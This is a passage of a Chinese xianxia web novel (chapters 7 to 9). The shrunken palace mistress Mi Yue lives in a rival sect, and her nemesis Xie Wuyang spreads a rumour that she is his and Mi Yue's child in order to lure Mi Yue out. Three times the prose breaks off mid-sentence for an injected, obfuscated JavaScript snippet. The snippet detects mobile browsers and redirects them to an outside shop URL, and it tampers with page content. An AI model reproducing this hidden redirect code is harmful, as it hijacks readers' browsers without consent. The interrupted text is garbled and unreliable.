她对待朋友也大方,吃不完的零嘴都会分给同桌,但对方似乎并不领情,每每都是推拒说:“不必了,我不吃。” 糜月是个安静不下来的性子,上课时也会叽叽喳喳,先生懒得管,越发衬得旁边的人沉静孤僻。久而久之,糜月对他就只有一个印象:她这同桌虽然长得漂亮,但是是个闷葫芦。 糜月永远忘不了那年冬至,先生教他们凝结神相。 神相乃是神识的显化,神识越强,显化出的神相也越强,每人因为功法和天赋不同,凝结出的神相虚影也不尽相同。 她天赋异禀,先生不过演示了一次,她便掌握了精要,凝结出了一朵堪称完美的九瓣烬花神相,在半空中徐徐旋转,仿佛一朵美轮美奂的莲花法宝,惹来众学子们艳羡的赞叹。 先生正要夸奖她,下一刻,赞叹的声音更响亮了,但似乎并不是朝她。 糜月扭头一看,她那闷葫芦同桌竟然也凝结出了神相。一条洁白如玉、身形粗长的蟒蛇如有实质地攀绕在小男孩的肩头,他双眼紧闭,额头落汗,似在苦苦坚持着。 那蛇如新生般睁开眼睛,第一眼便看见了她旋转着的烬花,瞳孔兴奋地竖直,如同看见了美味的猎物,旋即便朝她的神相扑去,张口就咬掉了她一片烬花花瓣。 糜月神识剧痛,当时便昏了过去。 …… 7. 第 7 章 糜月从梦中醒来,揉了揉尚有些混沌的脑袋。 没错,那个可恶的同桌就是幼年的谢无恙。 拜他所赐,她被他的白蛇神相咬掉了一片烬花花瓣,从此,她的九瓣烬花莲变成了残缺的八瓣。 以至于过了这么多年,许多幼时的记忆都已模糊,但唯有那个场景,让她此生难忘,她也因此“一朝被蛇咬,十年怕井绳”。 那时候谢无恙多大来着?七岁还是八岁吧,她也记不清了。 因为比起后来成为宿敌打打杀杀的那些岁月,她与谢无恙幼年的这桩纠葛,实在不值一提。 糜月只记得后来,她娘亲气疯了,来学宫里讨要说法,当时的隐剑宗掌门领着谢无恙,给她下跪请罪。她昏迷了三日,谢无恙就在雪地里跪了整整三日。 再后来,谢无恙就没有再在无涯学宫出现过。 “……你看起来似乎没什么胃口。” 温润清磁的嗓音打断了糜月的思绪。 她脑子里还在想这件事,早膳用得心不在焉,惹来男人的询问。 因为她怕蛇,所以整个琼山的蛇都被除尽了,她好久都没有做过这个噩梦了。 谢无恙怕小姑娘够不着,特意给她盛了一碗白粥,摆放在她面前。 糜月下意识地往后一躲。 “你怕我?”谢无恙留意到她的小动作,眉梢微挑。 糜月心道,不是怕,只是单纯地排斥和厌恶。 她不禁想,自己之所以会走火入魔变成小孩,会不会跟她幼年时的灵识受损也有关系?不然没道理,前几任宫主修炼都没出过错,偏偏到她这里就发生了这等离奇的怪事。 “顶楼的蛇是我饲养的灵宠,它们从不会伤人。” 谢无恙见小姑娘神思不属,想到昨夜的动静,以为她当真被吓到了,于是安抚道,“它们更不会无故跑出来,你不必害怕。” 不会伤人? 要不是她吃过亏还真就信了,糜月心下冷哼。 谢无恙今日穿着一袭竹月白衣,袖口纹着斜月梅枝,半束着发,墨染似的发间只戴着一根款式简单的发簪,端得仙姿秀逸,云淡风轻。 糜月好像就没见过他穿白、青、蓝三色以外的衣物。 多亏了那张过分俊美的脸撑着,他的衣品真就和今日的菜色一样寡淡。 倒是不见他腰间常别着的长剑,比素日多了几分居家的自在闲适,听说他已经修成了心剑,可以将本命剑收于掌心穴窍。 她因幼年时被他的神相啃了一口,害得自己如今走火入魔,他倒好,没事人一样,修为又更上一层楼了。 糜月心下来气:“我不想喝粥。” 眼见小姑娘神思恹恹地单手撑着下巴,小手握着勺子搅了半天,粥都快凉了,一口都没往嘴里送,最后双手把碗往前一推,干脆不吃了。 谢无恙看着桌子上清淡相宜易消化的粥点,并无觉得不妥。 明明昨天还胃口极好,今日怎地忽然变得挑食起来? 糜月昨晚本来就没睡好,看着满桌子清淡的白粥小菜,更没有什么胃口。 委屈又赌气地瞥他一眼:“谢无恙,我要吃核桃酥饼。” 核桃酥饼……? 谢无恙闻言一怔,看着此时几乎和她幼年时没什么分别的糜月,眸底泛起涟漪,一些陈年的记忆随之被勾起。 在无涯学宫同窗时,那人也是这样的年岁,脖子上总是挂着一个双鱼流苏的银项圈。项圈坠着一个小香囊袋,袋子里没有装香料,而是日日装着一块核桃酥饼。 他第一次见她时,她便从那香囊袋里拿出了一块核桃酥饼,用手掰开成两半,大方地递给了他一半,问他吃不吃。 她说是这酥饼是她娘亲手做的,每天都要吃上一块才解馋。 她幼时最喜欢的食物也是核桃酥饼。 谢无恙唇角微抿,虽是母女,但竟连口味都如此相似吗? 糜月瞅着发怔的谢无恙,疑惑地歪了歪头。 她不过说了句想吃核桃酥饼,这人怎么就跟被定身了似的。 这么大个宗门,连核桃酥饼都没有么,不至于……这么抠吧? “尊上,掌门传您去明辉堂。” 侍从在殿外朗声传话,谢无恙回过神来,起身时道:“你今日将就用些,明日我让人送些核桃酥饼过来。” 看着那抹竹月色的身影消失在殿门口,糜月松了口气。 她看了看面前没怎么的一桌子早膳,虽然没什么食欲,但肚子又有点饿,复又把那碗粥拿回来,埋头喝了两勺,又吃了两块莲子糕。 碍眼的人不在,连白粥都变得美味了。 趁着谢无恙不在,糜月本来还想再去一次顶楼,那幅眼熟的女子画像让她有些在意,但是一想到那满屋子的蛇,瞬间便将这个念头打消。 于是她背着小手,一路溜达出了悬海阁。 不得不说,这隐剑宗还真是大啊。 各色的殿宇依山傍海而建,几乎望不到头。她变成幼崽后,腿也变短了,走了许久,也感觉并未走出太远。 身边时而有穿着隐剑宗宗服的小弟子经过,大都会好奇地看她两眼,随后朝着同一个方向匆匆快步赶去。 糜月一边漫无目的地闲逛,一边默念嘀咕着关于秘宫的口诀。 “蛟龙吞月时,秘宫自然现……” 老祖宗留下来的口诀也太抽象了吧,那“蛟龙吞月”到底是个什么东西? 总不可能是真的蛟龙吧,如果满月时,在隐剑宗真有蛟龙吞月这种奇观现世,九州四境早就传疯了。 糜月没想到她在找功法的路上面临的第一个难题,竟是要考验智商,拆解字谜。 她烦躁地抓了抓头顶的发包,要是她没有走火入魔,现在就已经带领弟子们攻上隐剑宗了,直接掘地三尺,定能将秘宫找到。 哪里要像现在这么麻烦啊。 “小不点,你跑这里来做什么?” 一道高大的少年身影拦在她面前,糜月仰起头,这不是那位戴着面罩吃火锅的奇人么。 糜月挠挠脸颊,装作茫然的样子:“我……不小心迷路了。” 程令飞看着面前的小团子,乌润的杏眼眨巴眨,小包子脸上写满了“无助弱小可怜”,于是善心大发:“那要不要我送你回悬海阁?” “我不想这么早回去,我……还想在外面玩会儿。” 她刚跑出来溜达没一会儿,才不想回去。 “行,看见那边穿灰色衣服的人了吗?等你什么时候想回去了,就去找他们,他们自然会送你回去。” 糜月顺着他指的方向看到了两位站着的侍从。这些侍从其实是从隐剑宗庇佑下的世家弟子中,选拔出来的外门弟子,每月轮换着来内宗里站岗值守。 隐剑宗弟子们的道服是青莲色的,侍从的衣服则是灰色的,很好辨认。 说完,程令飞拔腿就要走,糜月想到什么,连声叫住他。 “程师兄,你知道这里哪有蛟龙吗?” 程令飞噗嗤一声笑出来:“你说蛟龙啊?有啊。” 糜月瞪大眼睛:“真的有?” “真的,骗你是小狗。” 糜月按捺着激动的心情,一把拽住他的袖子:“那,能不能带我去看看呀,我还从未,从未见过龙呢!” “好呀,”程令飞笑眯眯的,半蹲下来和她平视,嗓音也低低地夹起来,笑得活像要拐卖小孩的人贩子。 “你嘴巴甜一点,叫一声哥哥,我便带你去,如何?” 糜月:“……” 拳头硬了。 她正在忍辱负重地喊一声“哥哥”,还是“弄死他”之间纠结时,忽然程令飞的身后又掠过一道青莲色的纤细身影。 糜月眼睛一亮,这次脱口而出:“夏沥姐姐!” “月月,你怎么在这,”夏沥脚步一顿,低头一见是她,唇角含了点笑,再看向她身旁的程令飞时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172423|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头一拧,“师弟你怎么也在这,还不去剑池?想挨罚了是么?” “小孩想看蛟龙,我逗她玩呢,哄她喊我一声哥哥,我便带她去看。”程令飞嬉皮笑脸道。 宗里还从来没有过年纪这么小、这么可爱的小团子,程令飞单纯地觉得逗她很有趣。 夏沥疑惑问:“我宗何时有蛟龙这种东西?” “后山不就有?” 夏沥恍然:“你说那个啊……” 她看了眼真把他的话当回事的糜月,凑近一步,在程令飞耳边低声道,“骗小孩会脚底长痘的。” “这么狠?”程令飞额头冒出一滴冷汗,立马低声辩解,“可我也没骗她啊,你敢说那不是蛟龙?” 糜月被他俩的哑谜打得心痒难耐。 有什么话是小孩不能听的?还要背着她说?急死个人。 “现在离早课还有半刻钟,且今日是司徒长老当值,你再磨叽下去,别说看龙,只怕明天的太阳你都见不到了,”夏沥好心提醒了他一句,旋即转身迈开长腿,“我先走了。” “半、半刻钟?完了完了,”程令飞惊觉自己误了时辰,连忙把衣袖从糜月手里扯回来,“小不点,今日性命攸关,哥哥得走了,下次再带你玩啊!” 话音未落便跟着夏沥大步流星地走了。 糜月好不容易得到了点关于蛟龙的线索,怎么肯轻易放弃,登时迈开小腿,像个小尾巴似地跟在他们身后一路小跑。 每日辰时三刻,弟子们要集合在剑池旁练剑,是隐剑宗雷打不动的规矩。 眼下正值夏末秋初,苑池里的菡萏还未谢,一朵朵粉红莲花亭亭地立在翠色欲滴的荷叶上,恰似碧玉盘中点缀的红珊瑚,风一吹,荷香四溢。 荷花池旁,一群年轻的剑修们动作整齐划一地习练着剑招。 糜月盘腿坐在旁边的树荫下,一边嗑着瓜子,一边看这些小辈们舞剑。 啧,这僵硬刻板的出招,这迟钝糟糕的后摇。 隐剑宗后继无人啊。 程令飞踩着点赶来,只挨了长老两句训斥,如今混在众弟子中间,此时放眼望去,矮子里面拔高个,他和夏沥的剑招竟还算其中勉勉强强、能看过眼的。 想来他俩平日里没少受过谢无恙的指点。 糜月不禁感慨叹气,她要是功力尚在,何愁打不下这隐剑宗? 哪怕如今有谢无恙坐镇,等再过个百八十年,那厮渡劫飞升了,这隐剑宗就如断桅之舟,根本不足为惧。 半个时辰后,糜月磕完了半袋瓜子,弟子们也练完了剑,眼看正要散去时。 糜月拍了拍屁股站起来,双手聚拢在嘴边,中期十足地朝程令飞喊道:“哥哥~哥哥~” 程令飞脚底差点一滑,被身后相熟的弟子扶住。 “令飞,你何时多了个小妹啊?” “这小姑娘长得真标志,跟你可不太像亲生的兄妹啊。” “宗里不让弟子带家属上山,你小子怎么敢把小孩领上山的?” 弟子们笑着打趣他,还来得及走的司徒长老闻声扭头,颇具威仪的目光正朝他瞟来。 “别瞎说,这不是我小妹,”程令飞连忙解释,“这是师叔捡回来的娃。” 众弟子更惊奇了。 “师叔捡回来的娃?” “对了我想起来了,前日我看见师叔用他的本命剑遛娃来着,剑身上坐着的好像就是这小姑娘!” “不对啊,这小孩头上的额纹,怎么这么像是烬花宫的?” 在众弟子的叽叽喳喳声中,司徒杉本来欲走的脚步,硬生生地顿住,脸上表情惊疑不定。 谢无恙带回来一个烬花宫的小女孩? 糜月可不管这些小弟子的指指点点,她喊都喊了,可不能不认账。 她如游鱼一般扒拉开围在程令飞旁边正八卦的弟子,丝毫不在意那些打量的目光,双手叉腰,仰头脆声道:“说话算话,这下能带我去看蛟龙了吗?” 8. 第 8 章 隐剑宗,明辉堂。 掌门纪通正同玄机子和云松鹤两位长老,商量铸剑大会的各项事宜。 谢无恙静坐在一旁,神色淡淡,托起茶盏品了一口,举止从容,仿佛一幅素雅的背景画,与堂内热火朝天的吵架声格格不入。 “铸剑大会是我宗开山那会就流传下来的盛事,怎可简办?我看今年的大会更应该盛办大办,广邀各大宗门前来观会。” “云长老你可是人老多忘事,上次的铸剑大会,烬花宫带人来闹事,让我宗在众人面前丢了好大的颜面,这次要是再出了岔子,谁来负责?这本就是我宗自家的事,关起门来,不也照样办?” “正应如此,才更该大张旗鼓,否则倒显得我隐剑宗胆小怕事。我记得程令飞和夏沥那俩孩子今年也要铸剑了,难道让掌门弟子也这般将就委屈?” 两位长老各执一词,眼见越吵越凶。 “好了好了,”纪通赶紧出来打圆场,“两位长老都喝口茶消消气,都是自家人没必要动这么大的肝火……” 转而问看了半天戏,没出过声的谢无恙:“师弟,你怎么看?” “我赞同云长老。”谢无恙搁下茶盏,清声道。 话音落,倒是让纪通一愣。 他知道他这师弟素来喜静,更不爱凑热闹出风头,本以为他会支持玄机子简办这次大会,没想到他竟然反过来支持云松鹤。 “不管外界如何议论,我宗都要将礼数做周全了,不仅要邀请各大宗门,哪怕是平时交恶的门派宗门,也应当送去礼帖。”谢无恙嗓音不疾不徐,反而更让人能听得进去。 “那这么说来,难道要给烬花宫也送帖子吗?” 玄机子皱眉,他方才梗着脖子吵吵,此时面对谢无恙,语气虽然还僵硬,但明显恭敬了三分。 放眼整个隐剑宗,谢无恙是最有望飞升之人,连掌门纪通的修为都远不及他,更别论他们这几个卡在瓶颈期多年的老家伙了。 若非当时谢无恙沉溺剑道,无心管理宗门琐事,此时坐上掌门之位的人便不是纪通了。 “当然,”谢无恙道,“这样哪怕日后有人来闹事,我宗也不至于落人话柄,并非我隐剑宗无礼在先。” 纪通想想也觉得有道理,铸剑大会每十年一办,上回的铸剑大会,糜月带着一帮弟子上门闹事,把好好的铸剑大会搅得鸡犬不宁。 找茬的理由便是隐剑宗给各大门派送了请帖,却没给他们送,是看不起他们烬花宫。 这理由说出去都可笑,隐剑宗和烬花宫不和多年,怎会给他们送请帖?但这却给了烬花宫一个打上门的借口。 而这次,他们反其道行之,先给烬花宫送一份请帖,堵上他们的嘴。既显得他们隐剑宗大度,不计前嫌,若烬花宫还敢来闹事,旁人只会觉得是烬花宫惹是生非、胡搅蛮缠。 妙啊。 纪通拍案决定:“师弟说得有理,那就这么定了,我叫人去拟帖子送去各大宗门,专程给烬花宫也送上一份。” 谢无恙点头。 纪通看着好整以暇的师弟,总觉得哪里不太对劲,此时忽见司徒杉步履匆忙地闯入殿中,匆匆朝自己行了一礼。 “司徒长老,你不是在带弟子们上早课么,怎得过来了?” 司徒杉顾不上回掌门的话,径直偏头问谢无恙:“无恙,我听弟子们说,你这次去西境十六州,带回了一个小女娃娃?” 谢无恙知道此事瞒不住,他也没想瞒,点头:“是。” 纪通闻言,诧异地看了看他。 谢无恙带着程令飞和夏沥去西境,买准备在铸剑大会上所用的煅剑材料,此事他是知道的,可带回来一个小女孩是怎么回事? 司徒杉连忙追问:“那小姑娘额头有烬花纹,她是烬花宫的孩子?” 谢无恙面色不变:“嗯,她是烬花宫宫主的女儿。” “什么?!” 纪通和几位长老本来还抱着吃瓜的心态,闻言顿时差点从椅子上摔下来。 “糜月的女儿?我怎么从没听说过那妖女有孩子啊?” “你怎得把她的孩子带回宗了,这不是给了烬花宫发难的借口?” “师弟,这到底是怎么一回事?” 被众口质问的谢无恙显得很镇定,他隐去糜月失踪的事没说,只道:“糜月如今不在烬花宫中,这孩子无人照看,所以我打算将她养在身边。” “这孩子是烬花宫主的嫡系,为何烬花宫自己不养,要你养在身边?” 谢无恙长话短说:“那孩子说,烬花宫人待她不好,我见到她时,她正蹲在河边哭,连鞋袜都丢了,所以我便将她领了回来。” 司徒杉松了口气,原来是这么回事,害得他提心吊胆了一路。 纪通听着俩人的对话,也把经过弄明白了。 虽然不知糜月什么时候有的孩子,不过烬花宫人都以双修辅助修炼,糜月身为烬花宫主,身边少不得有些侍宫供她双修,有个孩子也不奇怪。 于是清咳了一声:“师弟,你宅心仁厚,这孩子也着实可怜。只是以我们和烬花宫这关系,这孩子留在这里实在不合时宜,还是遣人趁早送回给烬花宫吧。” 司徒杉连连点头:“掌门说得对,省得弟子们和外面的人传谣言,说这孩子是你流落在外的……” 谢无恙看他一眼,眼神中似有深意:“未必是谣言。” ? ?? ??? 在场的四人齐齐偏头,纪通举在嘴边的茶盏都停住了。 司徒杉不敢相信自己的耳朵,声音有一丝不敢确定的颤抖:“无恙,你的意思是,这小姑娘真是那妖女和你的……” 谢无恙睫羽微垂,似是往事难追、难以启齿的样子,极轻的一声“嗯”。 整个大堂落雪似的寂静。 “啪。” 纪通手里的茶盏开裂了。 “噗通。” 司徒杉两眼一翻,直接昏了过去。 玄机子过去给司徒长老掐人中,轻拍他的脸颊:“司徒师兄,醒醒,醒醒啊。” 后又从袖里掏出一瓶清心丸,往他嘴里塞了一颗,后者胸膛起伏两下,堪堪缓过气来。 云松鹤看着仍淡定端坐在紫藤椅上、模样如明月清风般的谢无恙,一脸“自家的大白菜被野猪拱了”的痛心疾首。 “无恙,你糊涂啊,这、这到底是什么时候的事?是不是那妖女逼迫你的?给你下了药,还是用了什么卑鄙无耻的手段?” 谢无恙摇头,看起来不愿解释太多:“是我自愿的。” 简单的五个字,又给了刚醒来的司徒杉沉重一击。 他捂着胸口,喃喃道:“那孩子瞧着有四五岁,那便是五六年前的事,你你……为何不跟我们说?!” “这是无恙的私事,不便同长老们说。” 谢无恙垂眸,指腹摩挲着茶盏瓷底。 师兄方才竟然将这茶盏捏裂了,可见受惊不浅。不错,他要的便是这样的效果。 纪通同样满脸的复杂和不敢置信。 他方才就奇怪为何好端端的,师弟会提出来给烬花宫送请帖?还有这孩子明明是宫主所出,却为何会遭烬花宫厌弃? 原来竟是这么回事…… 通了。 这样说来,一切都通了。 但唯一他想不通的是,糜月和他师弟每次说不到两句话,就开始动手打架,更是从来没给过他好脸色,回回都一副想把隐剑宗给灭了的架势。 怎会和他师弟有了孩子? 难不成由恨生爱? 恨到深处,所以造个孩子出来,相互伤害? 纪通摸着下巴,亦或者……是个意外? 他脑中当即补足了一出大戏:那妖女和他师弟在某日打着打着架,忽然掉进了某个山洞里,然后不小心中了一种“不双修就会死”的情蛊,为了保命,只得被迫一夜春情。然而解蛊后,俩人无法接受这个事实,于是分道扬镳,但没成想意外多了个孩子? 纪通一敲掌心,通,更通了。话本子里都是这么写的。 司徒杉气得胡子直翘,胸膛起伏:“好一个这是你的私事,你这般所为,可是忘了你师父当年是怎么陨落的?师兄他原本渡劫飞升在即,可怜落得那般下场,你可别再走上你师父的老路!” “我师尊陨落之事,与烬花宫无关。司徒长老,你所言僭越了。” 谢无恙双眼微微眯起,瞥向司徒衫的眼神里已然染上了三分凉意。 司徒杉如鲠在喉,憋得老脸更红了。 纪通见气氛不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172424|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连忙出来打圆场:“好了,既然生米已成熟饭,我们再埋怨怪罪师弟,也是徒劳无用……” 话音落,长老们叹气的叹气,捂脑壳的捂脑壳——何止是生米成熟饭,熟饭都能满地打酱油了。 “这事确是你的私事,我们无从置喙,可是无恙,你当真已决意养那孩子了?”玄机子也出来当和事佬,语重心长地问。 “嗯,那孩子年纪尚小,还请师兄和长老们不要在她面前提及身世。”谢无恙道。 纪通和两位长老点头:“那是自然……” 虽然这孩子的生母一言难尽,但孩子毕竟是无辜的,而且她可是剑尊的亲生闺女,说不定会继承了谢无恙剑道上的天赋,是个练剑的好苗子呢。 这孩子被带回宗,也算是件好事,倘若养在烬花宫,指不定会被教坏成什么样子。 谢无恙又看向不吱声的司徒杉。 司徒杉面如菜色,在他的视线下,被迫僵硬地点了点头。 修仙之人,修为越高,越难有子嗣,所以宗门大都是以师徒传承。宗里新添人丁,本来是件大喜事,可是长老们根本高兴不起来。 在他们眼里,糜月那妖女定是使了什么卑鄙手段,玷污了这位他们隐剑宗最前途无量的剑修,这是要从根本上瓦解离间他们隐剑宗啊,其心可诛! 只怕此事过后,两宗之间的新仇旧怨又要添上一笔。 谢无恙能看出长老们心有不满,但他并不在意。 长老们自己心里也清楚,说到底,他们只是辈分高些,在修真界实力为尊,连掌门都敬谢无恙三分,他们又能多说什么? 事已至此,他们再愤懑,也只能在心里怒骂那妖女狡诈黑心,下作无耻。 纪通在脑补完这个孩子的由来后,心下叹气的同时,又有些同情起师弟来。 “师弟,养孩子也不是一件容易的事,我们都没什么经验,若需要什么帮忙的地方,尽管开口。” “的确有件事需要师兄帮忙。” 谢无恙抬眼道:“找一个会擅做点心的厨子。” ? 纪通一脸懵。 “那孩子要吃核桃酥饼,来时问过了,膳堂里没有厨子会做核桃酥饼,得另招一个。”谢无恙一本正经道。 “……” 纪通听他不似在玩笑的语气,又盯他看了半晌,心里涌上些许微妙的情愫。 他的师尊是上任隐剑宗掌门秦不眠,门下只有他和谢无恙两个徒弟。他们差不多同年入宗,旁人少不得将他们放在一起比较,但谢无恙在剑道上展现的天赋,万里挑一,很快就赶超了宗门里的师兄师姐,更让他望尘莫及。 一开始,纪通说不嫉妒不羡慕,那是假话,可是随着这差距拉大,这羡慕就渐渐变成了仰望。 再加上他将掌门之位拱手让给自己,纪通心里对这个师弟是存有几分真心的。 眼见着平日里不沾俗事、清高孤洁的师弟,煞有介事地问他要会做酥饼的厨子,就好似从那高高在上、萧然尘外的谪仙,又变成凡尘中的人了。 他觉得有趣,绷不住笑了:“好,若招不到厨子,我亲自下厨给师侄女做酥饼吃。” 谢无恙微微蹙眉,似是十分怀疑:“师兄做的酥饼当真能吃?” 纪通清咳两声:“说笑而已。” 他哪里会做什么饼,师弟还是不懂他的冷幽默。 谢无恙点头,虽然他从未养过孩子,但凡事总有第一次。 那小丫头看着娇气,但却也不难养,只是在吃食上有些挑剔,他总不能连这点要求都不满足。 在长老们的长吁短叹声中,谢无恙轻敛袖口,指腹擦过一颗圆润的珠子。 那颗能感应到糜月气息的定元珠,被他做成了手串,贴身佩戴。 他放出的一丈仙尚没有传回消息,他有点等不及了,打算趁不日后的铸剑大会,各宗齐聚时,将这谣言尽快传扬出去。 长老们乍听此事,都气得快要厥过去,糜月若听到了这份荒唐传言,定比长老们生气百倍,十有八九会直接过来找他算账。 更何况,她的孩子还在他这里。 谢无恙垂眸,看着手腕上那颗色泽莹润的定元珠。 为了逼糜月现身,他也算不择手段,以身入局了。 …… 9. 第 9 章 此时此刻的糜月还不知道她竟然变成了自己的私生女,无痛当妈不算,甚至绯闻对象还是她最痛恨的死对头。 谢无恙太知道怎么拿捏她的痛点,她若真死了,听到这谣言,都能气得直接从棺材里爬出来。 糜月此时正瞪大眼睛,看着面前的怪东西,嘴角抽搐地问身旁的程令飞。 “这……就是你说的蛟龙?” “是啊,你看,这铜铃似的大眼,这比泥鳅还长的龙须,这雕工多么精湛,简直是栩栩如生啊!” 程令飞伸手夸张地比划着,立在他们面前的正是一座蛟龙模样的石雕。 这石雕看起来很有些年头,石料是普通的山玉,上面长满了青苔,蛟龙头上的一只龙角甚至还断了一小截。 糜月对着这石雕左看右看,没看出雕工哪里精湛,甚至觉得这条龙的眼睛有点斗鸡眼的呆蠢。 她怎么都不太相信,口诀里的“蛟龙”是这么个丑东西。 “这哪里是蛟龙了,这分明是堆破石头!” 糜月皱着包子脸,心中郁闷,她跟着程令飞走了小半个时辰,走得腿都痛了,来到这片偏僻的后山,见到这么个山寨版蛟龙,脸上掩不住的失望。 “这石雕你不喜欢吗?多威风啊,”程令飞挠头,心道这年头小孩也不好糊弄啊,“蛟龙是传说里的东西,我也没见过真的,不过,你要想听蛟龙的故事,可以去问师叔啊。” 问谢无恙? 程令飞不知她为什么这么执着于看蛟龙,便归咎于小孩子稀奇古怪的好奇心,遂解释道。 “是啊,听说,师叔当年可是见过真蛟龙的。” …… 等糜月回到悬海阁的时候,谢无恙已经在平时用膳的暖阁里等她了,她洗干净手,乖乖过去檀木桌前坐好。 “你今日去了哪里玩?” 谢无恙手中执着一本书卷,抬眸漫不经意地问她。 “去了荷花池,那里有好多哥哥姐姐在练剑。”糜月只答了一半,隐去看蛟龙石像的事没提。 她身为一宫之主,平时的行踪无人敢过问,现在倒好,还给他汇报上了。 糜月不禁再次感叹,寄人篱下,没人权啊。 她探头看了一圈今日的饭菜,似乎多了几道甜口的膳食,她夹了一块糖醋鱼肉,轻轻咬了一口。 糖醋鱼炖得火候刚刚好,用的鱼是新鲜的海鲈鱼,事先裹面炸过,鱼皮都被炸得酥脆,裹着鲜甜浓稠的甜醋汁,一咬下去又酸又甜,很是开胃。 “嗯,你若对剑法感兴趣,我可以教你。” 谢无恙还记得前日爬山,小姑娘累到气喘吁吁的样子,虽说这个年纪学剑是有点早,但哪怕不学,也应当习些强身健体之术。 糜月正美滋滋地吃着鱼,一听这话吓得连连摇头,连筷子上的鱼肉都差点掉了:“我不要练剑,我不感兴趣……” 烬花宫功法是以掌法为主,和剑法相悖,再说她要是学了别宗传承,她娘亲也要从棺材里爬出来骂她了。 “那你娘亲可教过你读书写字?” 她总是自己出去闲逛玩耍,宗里也没有和她同龄的孩子,谢无恙担心她长期以往会寂寞无聊,因此想为她找些事情做。 且识字读书总是要学的,总不能养在他这里时被耽搁了。 糜月头摇得像拨浪鼓:“不要不要,不学不学!” 她才不要跟一群小屁孩学什么三字经嘞。 “我娘亲说过,我还小,什么都不用学。” 糜月理直气壮地搬出年龄说事。 谢无恙看着面前摇头晃脑的小姑娘,眼底划过一丝无奈。 眼前的小团子简直就是个缩小版的糜月,不仅五官神态长得像,爱吃的零嘴口味像,就连这偷懒不想上学堂的样子都如出一辙。 糜月生怕他再提让她读书的事,忙转移话题:“谢无恙,这几日是换厨子了吗?今天的菜好好吃~” “嗯。” 会做核桃酥饼的厨子尚未招到,但谢无恙已吩咐膳堂,多送些小孩子喜欢的甜食。 他食欲不重,陪在这里,只为盯她有没有好好吃饭。 谢无恙抬眸不经意看了小姑娘一眼,这小丫头初见时还嘴甜地叫他哥哥,如今一口一个谢无恙。 不过许久没人直呼他的名讳了,弟子们叫他师叔,旁人都称他的尊号,从这么点大的小团子口中听到他的本名,倒觉得新鲜。 看来上次误以为她怕自己,只是他的错觉。 糜月吃了半饱后,看着面前执卷不语的某人,灵动的眼瞳转了转,佯装随意地问:“话说……你见过蛟龙吗?” 男人尺卷的手微顿,视线移到她身上,眸光清冷微凛:“怎么忽然问这个?” “呃,就是听哥哥说起过很久以前,这里有蛟龙出现,所以有些好奇,蛟龙长什么样子呀?” 糜月迎着他审视的视线,有点子心虚和紧张。 谢无恙扬眉:“听哪个哥哥说的?” 糜月正犹豫着要不要把程令飞卖出来,就见他重新将目光放回书卷上,眉如覆雪,嗓音微沉:“蛟龙是上古恶兽,生性凶残嗜杀,与它相关的故事大都惨烈,不适合说与你听。” “……” 又是这样的借口。 糜月深切感受到变成小孩的行事便利,和随之带来的麻烦。 “我不怕,我想听嘛!” “食不言,寝不语。” 谢无恙翻了一页书卷,似是彻底不搭理她了。 糜月气得咬牙,心中笃定,他一定知道些什么。 她三两口吃完碗里的糖醋鱼,然而咽下时,喉咙传来一阵明显的异物感——鱼刺卡嗓子了。 糜月站起来,咳了半天,小脸憋得通红,谢无恙脸色微变,连忙伸手帮她拍背。 半晌,才将那根作恶鱼刺吐了出来。 她眼眶里泪汪汪地喝水顺气,好像自从来了隐剑宗,她就好倒霉。 这地方是不是跟她相克啊。 谢无恙默默取了一双新筷子,把鱼肚子处没有刺的部分挑了出来,放入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172425|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的碗中,无奈道:“吃鱼要细嚼慢咽,当心一些。” 她当然知道,变小了之后,嗓子眼也小了啊。 “我不吃了!” 糜月推开那碗鱼肉,气鼓鼓地撂下筷子,准备跳下椅子,一方洁净的绢帕递到面前。 “把手擦干净。” 她回头看他,他一手拿着绢帕,一手按在霁蓝色的藏书封皮上,愈发衬得修长的手指根根白净如玉琢,仿佛此人生来就是吸风饮露、不食人间烟火的仙者。 糜月忽然想起来他好似有很严重的洁癖,一肚子的郁闷激起了她的恶念。 她没接那帕子,反而扯过他宽大的袖摆,小手在上面抹了抹又擦了擦,把手心里的油渍和糕点渣都蹭在了上面。 事毕,小团子朝他甜甜地笑,露出一颗尖尖的虎牙:“擦干净啦。” “……” 谢无恙低头看着被沾满油手印的袖口,呼吸微窒。 糜月看着谢无恙紧绷起来的唇角,和明显缓停住的呼吸,心下得意。 让你装大尾巴狼,难受不难受? 谁让她现在是个四岁的小孩,做什么都不过分。 糜月眨巴着圆圆的杏眼看他,甚至有点期待谢无恙生气。 